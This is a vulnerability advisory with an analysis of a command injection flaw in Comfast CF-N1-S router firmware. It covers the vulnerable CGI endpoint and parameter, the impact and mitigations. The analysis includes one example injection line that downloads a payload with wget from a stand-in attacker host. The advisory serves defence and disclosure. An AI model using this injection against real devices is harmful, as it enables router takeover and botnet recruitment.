CVE-2026-77683 in CF-N1-S
Summary
by MITRE • 08/21/2026
A security flaw has been discovered in Comfast CF-N1-S 2.6.0.1. Affected by this issue is the function system of the file /cgi-bin/mbox-config?method=SET§ion=ntp_timezone. The manipulation of the argument timestr results in command injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.
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Analysis
by VulDB Data Team • 08/21/2026
The vulnerability identified in Comfast CF-N1-S firmware version 2.6.0.1 represents a critical remote code execution risk stemming from improper input validation within the device's web management interface. Specifically, the flaw resides in the CGI script located at /cgi-bin/mbox-config when invoked with the method parameter set to SET and the section parameter designated as ntp_timezone. This endpoint is responsible for configuring Network Time Protocol settings on the router, a function that typically requires administrative privileges but is often accessible via unauthenticated or weakly authenticated web forms in consumer-grade networking equipment. The core technical deficiency lies in how the timestr argument is processed by the backend system commands. Instead of sanitizing user-supplied input to ensure it conforms to expected time format constraints, the application directly concatenates this value into a shell command string for execution. This lack of proper encoding or escaping allows an attacker to inject arbitrary operating system commands that will be executed with the privileges of the web server process, which on many embedded Linux devices runs as root.
From a technical perspective, this vulnerability is classified under CWE-78 Improper Neutralization of Special Elements used in an OS Command commonly known as OS Command Injection. The attacker can manipulate the timestr parameter to include shell metacharacters such as semicolons or ampersands, effectively breaking out of the intended time-setting context and executing subsequent commands. For instance, by appending a command like ; wget http://attacker.com/malware -O /tmp/bot after the valid time string, an adversary can download and execute malicious payloads directly onto the compromised device. This capability transforms a simple configuration error into a severe security breach where full control over the network infrastructure is achieved. The presence of public exploit code significantly lowers the barrier to entry for attackers, enabling automated scanning tools and opportunistic adversaries to compromise vulnerable devices at scale without requiring specialized knowledge or custom development efforts.
The operational impact of this vulnerability extends beyond individual device compromise to broader network security implications. Once an attacker gains command execution capabilities on a router, they can intercept unencrypted traffic, perform man-in-the-middle attacks against other devices on the local network, and pivot into more sensitive internal systems that lack perimeter defenses. Furthermore, compromised routers are frequently recruited into botnets used for distributed denial-of-service attacks or as proxies for further illicit activities. The remote nature of this attack vector means it can be exploited from anywhere with internet connectivity, making it particularly dangerous in environments where devices are exposed to the public internet without additional network-level filtering or authentication mechanisms.
Mitigation strategies must address both immediate remediation and long-term security posture improvements. The primary defense is to apply vendor-provided firmware updates that patch this specific input validation flaw as soon as they become available. In cases where updating is not immediately feasible, administrators should restrict access to the web management interface by placing it behind a VPN or limiting HTTP/HTTPS traffic through firewall rules to trusted IP addresses only. Additionally, disabling remote administration features if they are not strictly necessary can reduce the attack surface significantly. Organizations and home users alike must prioritize regular firmware maintenance cycles and monitor vendor security advisories for timely patch deployment to prevent exploitation of known vulnerabilities like this command injection flaw in Comfast networking equipment.